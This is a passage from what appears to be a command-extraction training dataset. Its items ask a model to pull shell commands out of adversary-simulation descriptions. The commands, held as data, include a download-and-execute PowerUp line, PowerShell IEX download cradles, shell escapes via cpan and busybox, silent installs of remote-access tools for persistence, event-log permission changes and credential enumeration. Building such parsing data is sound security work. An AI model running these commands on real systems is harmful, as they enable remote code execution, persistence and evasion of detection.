    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For a comprehensive account enumeration, including user details and group memberships, use this command sequence: net user\nget-localuser\nget-localgroupmember -group Users\ncmdkey.exe /list\nls C:/Users\nget-childitem C:\\Users\\\ndir C:\\Users\\\nget-localgroup\nnet localgroup\n; The system will display all active sessions when you execute this command: query user",
    "output": "{\"command_list\": [\"net user\\nget-localuser\\nget-localgroupmember -group Users\\ncmdkey.exe /list\\nls C:/Users\\nget-childitem C:\\\\Users\\\\\\ndir C:\\\\Users\\\\\\nget-localgroup\\nnet localgroup\\n\", \"query user\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a CHM file using the ITS protocol handler, run the following command: Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}; For simulating user interaction with a CHM file, execute the command: Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\", \"Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The cpan utility allows executing perl commands via the ! command, which can be leveraged to escape restricted environments by running this command: echo '! exec \"/bin/sh &\"' | PERL_MM_USE_DEFAULT=1  cpan; To break out from restricted environments using BusyBox, a multi-call binary that can spawn an interactive system shell, run the following command: busybox sh &",
    "output": "{\"command_list\": [\"echo '! exec \\\"/bin/sh &\\\"' | PERL_MM_USE_DEFAULT=1  cpan\", \"busybox sh &\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Threat actors often maintain persistence by leveraging third-party remote services like NetSupport, which can be launched with the following command: Start-Process \"#{NetSupport_Path}\" -ArgumentList \"/S /v/qn\"; Threat actors often maintain persistence by leveraging third-party remote services like UltraViewer, which can be installed silently using the following command: Start-Process -Wait -FilePath \"#{UltraViewer_Path}\" -Argument \"/silent\" -PassThru\nStart-Process 'C:\\Program Files (x86)\\UltraViewer\\UltraViewer_Desktop.exe'",
    "output": "{\"command_list\": [\"Start-Process \\\"#{NetSupport_Path}\\\" -ArgumentList \\\"/S /v/qn\\\"\\n\", \"Start-Process -Wait -FilePath \\\"#{UltraViewer_Path}\\\" -Argument \\\"/silent\\\" -PassThru\\nStart-Process 'C:\\\\Program Files (x86)\\\\UltraViewer\\\\UltraViewer_Desktop.exe'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test changes the ChannelAccess registry value to modify event log permissions, which can help evade detection by controlling access. Execute this command: New-Item -Path #{ChannelPath} -Force\nSet-ItemProperty -Path #{ChannelPath} -Name \"ChannelAccess\" -Value \"O:SYG:SYD:(D;;0x1;;;WD)\"\nRestart-Service -Name EventLog -Force -ErrorAction Ignore; This test alters the Security Descriptor Definition Language (SDDL) string via the command: Set-ItemProperty -Path #{CustomSDPath} -Name \"CustomSD\" -Value \"O:SYG:SYD:(D;;0x1;;;WD)\", which modifies access permissions for a Windows Event Log channel.",
    "output": "{\"command_list\": [\"New-Item -Path #{ChannelPath} -Force\\nSet-ItemProperty -Path #{ChannelPath} -Name \\\"ChannelAccess\\\" -Value \\\"O:SYG:SYD:(D;;0x1;;;WD)\\\"\\nRestart-Service -Name EventLog -Force -ErrorAction Ignore\", \"Set-ItemProperty -Path #{CustomSDPath} -Name \\\"CustomSD\\\" -Value \\\"O:SYG:SYD:(D;;0x1;;;WD)\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command demonstrates the use of a Powershell MsXml COM object that bypasses proxies and cache, although it doesn't write to cache locations: powershell.exe -exec bypass -noprofile \"$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText\". Success is indicated by the message 'Download Cradle test success!'.; To perform a PowerShell XML download request, which will display 'Download Cradle test success!' upon execution, use the following command: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass -noprofile \"$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(\\'#{url}\\');$Xml.command.a.execute | IEX\"",
    "output": "{\"command_list\": [\"powershell.exe -exec bypass -noprofile \\\"$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText\\\"\\n\", \"\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" -exec bypass -noprofile \\\"$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify network configuration information, execute the following command, which will spawn multiple commands and output the results via stdout: \nif [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"netstat -Sp tcp\"; else cmd=\"netstat -ant\"; fi;\nif [ -x \"$(command -v arp)\" ]; then arp -a; else echo \"arp is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ifconfig)\" ]; then ifconfig; else echo \"ifconfig is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ip)\" ]; then ip addr; else echo \"ip is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v netstat)\" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo \"netstat is missing from the machine. skipping...\"; fi;; For comprehensive network information as collected by Trickbot, use the following command sequence: ipconfig /all\nnet config workstation\nnet view /all /domain\nnltest /domain_trusts\n",
    "output": "{\"command_list\": [\"if [ \\\"$(uname)\\\" = 'FreeBSD' ]; then cmd=\\\"netstat -Sp tcp\\\"; else cmd=\\\"netstat -ant\\\"; fi;\\nif [ -x \\\"$(command -v arp)\\\" ]; then arp -a; else echo \\\"arp is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v ifconfig)\\\" ]; then ifconfig; else echo \\\"ifconfig is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v ip)\\\" ]; then ip addr; else echo \\\"ip is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v netstat)\\\" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo \\\"netstat is missing from the machine. skipping...\\\"; fi;\\n\", \"ipconfig /all\\nnet config workstation\\nnet view /all /domain\\nnltest /domain_trusts\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 